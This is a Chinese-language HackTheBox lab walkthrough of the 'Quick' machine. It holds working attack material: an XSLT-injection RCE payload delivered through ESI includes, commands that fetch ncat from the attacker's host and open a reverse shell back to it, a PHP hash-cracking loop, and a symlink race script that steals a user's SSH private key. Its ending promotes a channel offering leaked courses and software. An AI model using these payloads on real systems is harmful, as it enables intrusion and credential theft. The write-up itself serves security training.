HackTheBox。快速演练。QUIC HTTP / 3,X​​SLT注入,竞争条件



我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案



在本文中,我们处理QUIC HTTP / 3连接,通过XSLT注入获得RCE,并使用竞态条件技术获取用户的私钥。



与实验室的连接是通过VPN。建议您不要从有重要数据的工作计算机或主机进行连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.186,我将其添加到/ etc / hosts中。



10.10.10.186 	quick.htb


第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186       --rate=500






现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。



nmap -A quick.htb -p9001,22






因此,我们有两个服务-SSH和Apache Web服务器。让我们看看网络提供了什么。







链接到正在运行HTTPS的门户,但是该端口已关闭。将此DNS添加到/ etc / hosts。



10.10.10.186 portal.quick.htb



但是端口443已关闭!我们还在网站上找到了有趣的列表。







让我们用gobuster扫描目录。在参数中,我们指定流128(-t),URL(-u),字典(-w),我们感兴趣的扩展名(-x)以及我们需要的服务器响应代码(-s)的数量。



gobuster dir -t 128 -u http://quick.htb:9001/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401






我们找到了有趣的页面,但是所有页面都需要授权。在这个站点上旋转了一下之后,出现了一个问题。如果服务器的相应端口已关闭,为什么我需要指向门户的链接。然后,我们将再次彻底扫描该端口。



nmap -p443 -A quick.htb






sudo nmap -p443 -A -sU quick.htb






并且此端口开放用于UDP!



入口点



谷歌搜索,我们发现了一篇描述QUIC技术的文章(类似于汽车的名称)。







此外,通过阅读有关此协议的信息,我们了解到可以使用该协议的功能已添加到Chrome。







但是您不能使用指定的方法进行连接。然后记住连接已被过滤并转到本文







让我们按照文章中的描述进行安装:



sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples






一切都已成功组装,现在让我们向我们的网站执行请求并获得答案!



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/






为了方便起见,您可以将输出保存到HTML文件中,然后在浏览器中打开文档,但是我已经习惯了。我们看到包含文档的页面的链接,因此让我们对其进行引用。



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs






我们看到了两个文档。下载它们。



RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf


在Connectivity.pdf中,它指出了可以登录的密码,只需要使用某种电子邮件作为用户名即可。







让我们收集信息...已经列出了客户列表,但我们也可以找到员工。







让我们创建一个电子邮件列表。因此,Tim提到了来自英国的QConsulting,那么他的电子邮件很有可能是tim@qconsulting.co.uk。让我们为所有人命名。尝试登录后,我们成功发送电子邮件至elisa@wink.co.uk。







用户



环顾四周后,我发现wappalyzer插件不起作用。让我们看一下whatweb所使用的技术。



whatweb http://quick.htb:9001/home.php






我们看到标题X-Powered-By:Esigate让我们寻找漏洞。







因此,使用RCE可以导致XSLT注入。我们从gobuster那里了解到,还有页面search.php和ticket.php。如果您转向搜索。然后我们将被告知没有搜索字符串。







然后让我们通过参数搜索。







当您搜索“ 2”时,将得到结果。







但是,在ticket.php页面上,您可以创建一个票证。











我们得到了可以找到的相应记录。该漏洞被利用的很好的说明这里根据文章所述,为了获得RCE,您需要发送一个指向XSL文件的链接,该文件将包含以下内容:



<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>


其中CDATA []将包含正在执行的命令。我们必须将这些文件的包含作为消息发送。



<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>


然后在本地计算机上启动侦听器。



nc -lvp 4321


现在,我们将创建票证并参考它们。由于将字符“>”和“ <”转义,因此我们将进行三个查询。我们将下载ncat,为其授予执行权限并进行反向连接。以下是三个文件的CDATA []值:



1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh


我们将执行6个请求(第一个是消息的内容,第二个是票证的请求)。



<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>






<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>






我们看到了连接。











用户2



为了方便起见,让我们创建并记录SSH密钥。











现在,您可以使用私钥进行连接。让我们记住在站点上找到的db.php文件,该文件应包含用于连接数据库的凭据。让我们来看看。







让我们与接收到的凭据连接。



mysql -h localhost -u db_adm -p


让我们浏览可用的数据库。







让我们选择快速数据库。







让我们看一下该数据库中的表。







最后,我们从用户表中获取数据。







我们得到哈希值,但无法对md5进行排序。让我们看一下比较哈希值的代码。











因此,密码首先进入crypt函数。让我们编写自己的代码,以遍历密码。



<?php 
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist))  {
	$str = fgets($wordlist);
    $str = trim($str);
    echo "Find password: " . $str ."                        \r";
    $tmp_hash = md5(crypt($str,'fa'));
    if($hash == $tmp_hash){
        echo "Password Found: ". $str."\n";
        fclose($wordlist);
        exit(0);
    }
}
fclose($wordlist);
?>






然后我们得到了密码。无法在本地更改密码,它也不适用于SSH,因此让我们检查其余的源代码。从add_printer.php中可以看到,接受了几个参数,包括IP地址和端口。接下来,建立连接以测试连接。







job.php文件更加有趣。







但是无法登录服务器,因为它不可用。让我们看一下Web服务器设置。因此,将创建文件,然后将其传输到创建打印机时指定的主机和端口。但是由于睡眠(0.5)延迟和创建的文件的权限为777的事实,我们可以在发送文件之前对其进行更改,而我们拥有此目录的所有权限。







因此,您可以编写一个脚本来将该文件与用户的私钥链接!



cd /var/www/jobs;
while true;
do
        for file in $(ls .);
        do
                rm -rf $file;
                ln -s /home/srvadm/.ssh/id_rsa $file;
        done
done


让我们看一下Web服务器设置。







因此,该站点代表srvadm运行,并且只能通过localhost访问。让我们转发端口并将适当的条目添加到/ etc / hosts。



127.0.0.1 printerv2.quick.htb



sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb


现在,我们去该站点。







让我们继续添加打印机。







添加打印机后,需要激活它。







现在,我们运行脚本并选择打印。







然后,我们将看到与侦听器的连接以及用户的SSH密钥。













在主目录中,我们找到.cache目录。







我们找到了打印机的配置文件。







在配置中,我们找到了到打印机的连接字符串:



https://username:password@ip/printer







从那里我们获得了可用于通过SSH连接的密码。







您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多精通IT领域的人,然后我们始终可以在任何IT和信息安全问题上互相帮助。



All Articles